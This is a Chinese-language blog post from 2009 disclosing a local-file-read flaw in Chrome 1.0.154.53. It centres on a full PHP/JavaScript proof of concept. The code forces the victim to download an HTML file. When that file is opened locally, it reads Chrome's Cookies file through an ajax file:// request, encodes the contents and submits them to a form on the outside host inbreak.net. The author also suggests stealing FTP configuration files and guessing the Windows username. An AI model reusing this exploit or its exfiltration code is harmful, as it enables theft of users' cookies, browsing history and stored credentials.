Google Chrome使用ajax读取本地文件漏洞

by 空虚浪子心

google的浏览器Chrome1.0.154.53(目前最新),存在ajax读取本地文件漏洞。

利用该漏洞可以读取本地文本文件,并提交出来。

而Chrome的cookie默认保存在“C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

读取这个文件,然后提交,前提是文件在本地打开,但是如何欺骗用户在本地打开呢?

看代码:

 

PHP代码
  1. <?   
  2. /*  
  3. #     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
  4. #     inbreak.net   
  5. #     author voidloafer@gmail.com 2009-4-22    
  6. #     http://inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
  7. */  
  8. header("Content-Disposition: attachment;filename=kxlzx.htm");   
  9. header("Content-type: application/kxlzx");   
  10. /*  
  11. #     set header, so just download html file,and open it at local.  
  12. */  
  13. ?>   
  14. <form id="form" action="http://inbreak.net/kxlzxtest/testxss/a.php" method="POST">   
  15.     <input id="input" name="cookie" value="" type="hidden">   
  16. </form>   
  17. <script>   
  18. function doMyAjax(user)   
  19. {   
  20.         var time = Math.random();   
  21. /*  
  22. the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
  23. and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
  24. and so on…  
  25. */  
  26.         var strPer = ‘file://localhost/C:/Documents and Settings/’+user+‘/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time=’+time;   
  27.            
  28.         startRequest(strPer);   
  29.        
  30. }   
  31.   
  32. function Enshellcode(txt)   
  33. {   
  34. var url=new String(txt);   
  35. var i=0,l=0,k=0,curl="";   
  36. l= url.length;   
  37. for(;i<l;i++){   
  38. k=url.charCodeAt(i);   
  39. if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
  40. if (l%2){curl+="00";}else{curl+="0000";}   
  41. curl=curl.replace(/(..)(..)/g,"%u$2$1");   
  42. return curl;   
  43. }   
  44.   
  45.   
  46. var xmlHttp;   
  47. function createXMLHttp(){   
  48.     if(window.XMLHttpRequest){   
  49.         xmlHttp = new XMLHttpRequest();           
  50.     }   
  51.     else if(window.ActiveXObject){   
  52.         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
  53.     }   
  54. }   
  55.   
  56. function startRequest(doUrl){   
  57.            
  58.     createXMLHttp();   
  59.        
  60.     xmlHttp.onreadystatechange = handleStateChange;   
  61.        
  62.     xmlHttp.open("GET", doUrl, true);   
  63.        
  64.     xmlHttp.send(null);   
  65.        
  66.        
  67. }    
  68.   
  69. function handleStateChange(){   
  70.     if (xmlHttp.readyState == 4 ){   
  71.             var strResponse = "";   
  72.             setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);    
  73.                
  74.     }   
  75. }   
  76.   
  77.   
  78. function framekxlzxPost(text)   
  79. {   
  80.     document.getElementById("input").value = Enshellcode(text);   
  81.     document.getElementById("form").submit();   
  82. }   
  83.   
  84. doMyAjax("administrator");   
  85.   
  86. </script>  

注意,本代码上传TXT之前,已经做了加密,为了保证文件的完整性,具体的解密,请看

http://cha88.cn/safe/glacierlk.php

选择shellcode解密

 

浏览器会自动下在这个html文件,保存为kxlzx.htm。

1.jpg

下载后,用户肯定会去看看下载了什么,打开htm(在本地)。

打开后,执行JS,把本地的cookie,history等(可自定义),上传到恶意用户制定地方。

POC可以根据实际情况改进。有以下几点注意:

几点说明:
1,不一定非要读取cookie,你也可以读取其他东西,比如ftp软件的ini配置文件等,只要是txt就能读取。
2,读取cookie必须预测本地用户名,不过很多人都是administrator。
3,反正ajax是异步,你可以同时调用几个方法。
4,或者你可以发送任何想要的本地TXT文件。

其实这个漏洞和我以前发的opera本地读取漏洞是一个道理的。

但是会比他严重一点,因为Chrome的cookie文件地址是固定的。

POC:

 http://inbreak.net/kxlzxtest/testxss/Chrome.php

http://inbreak.net/kxlzxtest/testxss/b.php

发表评论?

0 条评论。

发表评论